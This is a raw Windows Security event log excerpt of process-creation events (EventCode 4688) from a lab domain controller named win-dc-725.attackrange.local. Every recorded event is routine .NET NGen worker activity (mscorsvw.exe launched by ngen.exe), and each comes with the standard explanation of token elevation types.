Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255380
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb8c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a80 -InterruptEvent 0 -NGENProcess ae4 -Pipe b2c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255379
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10e8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ae4 -InterruptEvent 0 -NGENProcess b18 -Pipe aa4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255378
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x138c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a80 -InterruptEvent 0 -NGENProcess b18 -Pipe afc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255377
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1168
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent aa4 -InterruptEvent 0 -NGENProcess a90 -Pipe b00 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255376
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x116c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a90 -InterruptEvent 0 -NGENProcess ac0 -Pipe af4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255375
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x924
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent aa4 -InterruptEvent 0 -NGENProcess ac0 -Pipe a54 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255394
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe40
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b74 -InterruptEvent 0 -NGENProcess 9c0 -Pipe b80 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255393
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbac
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9c0 -InterruptEvent 0 -NGENProcess b24 -Pipe b18 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255392
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1170
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b74 -InterruptEvent 0 -NGENProcess b24 -Pipe b6c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255391
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1224
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b48 -InterruptEvent 0 -NGENProcess b24 -Pipe b4c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255390
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x264
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b24 -InterruptEvent 0 -NGENProcess b5c -Pipe b54 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255389
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x130c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b48 -InterruptEvent 0 -NGENProcess b5c -Pipe b68 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255388
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1340
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b5c -InterruptEvent 0 -NGENProcess b10 -Pipe b60 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255387
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc8c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b48 -InterruptEvent 0 -NGENProcess b10 -Pipe b44 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255386
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9cc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b4c -InterruptEvent 0 -NGENProcess ae4 -Pipe b50 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255385
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3f4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ac0 -InterruptEvent 0 -NGENProcess ae4 -Pipe b40 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255400
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xda8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b8c -InterruptEvent 0 -NGENProcess b98 -Pipe b24 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255399
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10bc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b7c -InterruptEvent 0 -NGENProcess b98 -Pipe a80 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

